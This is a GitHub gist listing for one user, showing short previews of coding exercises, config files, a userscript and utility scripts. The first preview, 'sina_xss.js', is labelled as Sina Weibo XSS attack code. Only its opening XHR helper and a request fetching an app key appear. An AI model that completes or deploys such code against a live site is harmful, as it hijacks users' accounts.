Skip to content

Instantly share code, notes, and snippets.

View ninehills's full-sized avatar

Tao Yang ninehills

View GitHub Profile
@ninehills
ninehills / sina_xss.js
Created June 29, 2011 03:58
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
@ninehills
ninehills / monkey_div_peach.c
Created September 24, 2011 07:10
猴子分桃
#include <stdio.h>
/*
* 海滩上有一堆桃子,五只猴子来分,第一只猴子把这堆桃子平均分为五份,多了一个,
* 这只猴子把多的一个扔到了海里,拿走了一份,第二只猴子把剩下的桃子又平均分成
* 五份,又多了一个,它同样把多的一个扔到了海里,拿走了一份,第三只,第四只,第
* 五只都是这样做的,问海滩上原来最少有多少桃子。使用递归编程求解。
*/
#define MONKEY 5
// 由当前猴子数和最终剩下的桃数求出总桃数
@ninehills
ninehills / gist:1248428
Created September 28, 2011 16:39
PKGBUILD for sublime-text-2
# Maintainer: Bartosz Chmura <chmurli at gmail dot com>
pkgname=sublime-text-2
pkgver=2126
_build=2126
pkgrel=1
pkgdesc="sophisticated text editor for code, html and prose"
arch=('i686' 'x86_64')
url="http://www.sublimetext.com/2"
license=('custom')
@ninehills
ninehills / 2ZL.c
Created September 29, 2011 07:17
二主楼找座问题
// see : http://acm.nankai.edu.cn/p1010.html
#include <stdio.h>
#define MAX_SEAT 51
// 计算n个座的情况下第x号座和过道的距离。(x: 0~ n-1)
int distance(int x, int n) {
if(x < n/2)
return x;
else
@ninehills
ninehills / sort.c
Created September 29, 2011 08:26
选择、冒泡、快速排序
#include <stdio.h>
// swap 函数
void swap(int *a, int *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
// 选择排序
#!/usr/bin/expect
# require expect openssh
# modify PORT USER HOST PASS
set timeout 60
spawn /usr/bin/ssh -D PORT -g USER@HOST
expect {
"password:" {
send "PASS\r"
}
<?xml version='1.0'?>
<!DOCTYPE fontconfig SYSTEM 'fonts.dtd'>
<fontconfig>
<!-- created by WenQuanYi FcDesigner v0.5 -->
<match>
<test name="family">
<string>sans-serif</string>
</test>
<edit binding="strong" mode="prepend" name="family">
<string>Ubuntu</string>
// JingDong - Price History Image
// GNU General Public License
// Forked from http://userscripts.org/scripts/show/115573
// Modified by ninehills <ninehills.github.com>
// ==UserScript==
// @name JingDong - Price History Image
// @namespace http://qixinglu.com
// @description Insert a price history image from 360444.com to 360buy.com product page.
// @include http://book.360buy.com/*.html
! Swap caps lock and escape in X
! Usage: :"xmodmap .speedswapper
remove Lock = Caps_Lock
keysym Escape = Caps_Lock
keysym Caps_Lock = Escape
add Lock = Caps_Lock
#!/bin/bash
#-------------------------------
# 南开大学网关自动登录脚本
# 用法请用help命令查询
# 支持ipv4/ipv6登录
# 作者:cynic<swulling@gmail.com>
# 网站:http://ninehills.github.com
#-------------------------------